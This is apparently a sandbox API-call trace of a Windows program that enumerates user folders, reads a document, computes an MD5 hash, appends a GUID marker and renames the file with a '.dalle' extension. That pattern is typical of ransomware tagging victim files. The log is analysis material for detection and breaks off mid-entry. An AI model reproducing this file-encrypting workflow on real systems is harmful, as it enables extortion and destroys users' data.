[0121.921] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.921] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.921] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.921] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.921] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.921] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.921] PathFindFileNameW (pszPath="") returned="" [0121.921] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094a90 [0121.922] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.922] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.922] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0121.923] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.923] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.923] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094830 [0121.923] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.923] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094a90 [0121.923] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.923] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\") returned="IMJP9_0\\" [0121.923] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.923] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0e30 [0121.923] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.923] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.923] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.923] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.923] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.923] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.923] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.923] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.923] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.923] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.923] PathFindFileNameW (pszPath="") returned="" [0121.923] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094a90 [0121.923] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.924] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.924] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0121.924] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.924] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.924] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3023140 [0121.924] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.924] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0121.924] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0121.924] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.924] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0e30 [0121.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.924] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.924] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.924] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.925] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.925] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.925] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.925] PathFindFileNameW (pszPath="") returned="" [0121.925] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0121.925] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.926] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.926] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0121.926] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e018 [0121.926] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e188 [0121.926] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa8) returned 0x2f7e028 [0121.926] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094830 [0121.926] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0121.926] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e468 [0121.926] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0121.926] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0 [0121.926] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.926] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.926] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0121.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0121.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.927] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.927] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.927] PathFindFileNameW (pszPath="") returned="" [0121.927] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.927] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.928] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1 [0121.928] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0121.928] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1 [0121.928] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0 [0121.928] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.928] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.928] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.928] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\") returned="jCjO-w4 p w1\\" [0121.928] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\") returned="7sg88LIA79bVPrOA\\" [0121.928] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\") returned="YSKur86t\\" [0121.928] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0121.928] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.928] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.928] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.928] PathFindFileNameW (pszPath="") returned="" [0121.928] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7906d1e0, ftCreationTime.dwHighDateTime=0x1d4cd43, ftLastAccessTime.dwLowDateTime=0xc12a0be0, ftLastAccessTime.dwHighDateTime=0x1d4c618, ftLastWriteTime.dwLowDateTime=0xc12a0be0, ftLastWriteTime.dwHighDateTime=0x1d4c618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.930] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7906d1e0, ftCreationTime.dwHighDateTime=0x1d4cd43, ftLastAccessTime.dwLowDateTime=0xc12a0be0, ftLastAccessTime.dwHighDateTime=0x1d4c618, ftLastWriteTime.dwLowDateTime=0xc12a0be0, ftLastWriteTime.dwHighDateTime=0x1d4c618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.931] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x287941c0, ftCreationTime.dwHighDateTime=0x1d4c647, ftLastAccessTime.dwLowDateTime=0x220aa750, ftLastAccessTime.dwHighDateTime=0x1d4c694, ftLastWriteTime.dwLowDateTime=0x220aa750, ftLastWriteTime.dwHighDateTime=0x1d4c694, nFileSizeHigh=0x0, nFileSizeLow=0x5e0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="651znms2s4dj.ots", cAlternateFileName="651ZNM~1.OTS")) returned 1 [0121.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\651znms2s4dj.ots") returned=".ots" [0121.931] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\651znms2s4dj.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\651znms2s4dj.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.931] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=24079) returned 1 [0121.932] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.933] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5de9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.934] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.935] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x5e0f, lpOverlapped=0x0) returned 1 [0121.935] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.936] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.936] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.936] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0e30) returned 1 [0121.937] CryptCreateHash (in: hProv=0x6c0e30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.937] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.937] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.937] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.937] GetLastError () returned 0x0 [0121.937] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.937] CryptReleaseContext (hProv=0x6c0e30, dwFlags=0x0) returned 1 [0121.937] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5e0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.937] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.937] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.937] CloseHandle (hObject=0x618) returned 1 [0121.938] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\651znms2s4dj.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\651znms2s4dj.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\651znms2s4dj.ots.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\651znms2s4dj.ots.dalle")) returned 1 [0121.939] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.939] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.940] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0121.940] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c96c1a0, ftCreationTime.dwHighDateTime=0x1d4cbb7, ftLastAccessTime.dwLowDateTime=0x82e6e6b0, ftLastAccessTime.dwHighDateTime=0x1d4c964, ftLastWriteTime.dwLowDateTime=0x82e6e6b0, ftLastWriteTime.dwHighDateTime=0x1d4c964, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="H8Jb9z2r7CZ5", cAlternateFileName="H8JB9Z~1")) returned 1 [0121.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6cb8 [0121.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6d80 [0121.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x16c) returned 0x2f84e20 [0121.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094830 [0121.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0121.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e2f8 [0121.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e520 [0121.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e468 [0121.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e748 [0121.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0e30 [0121.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094a90 [0121.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094cf0 [0121.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.941] HeapFree (in: hHeap=0x5e0000, 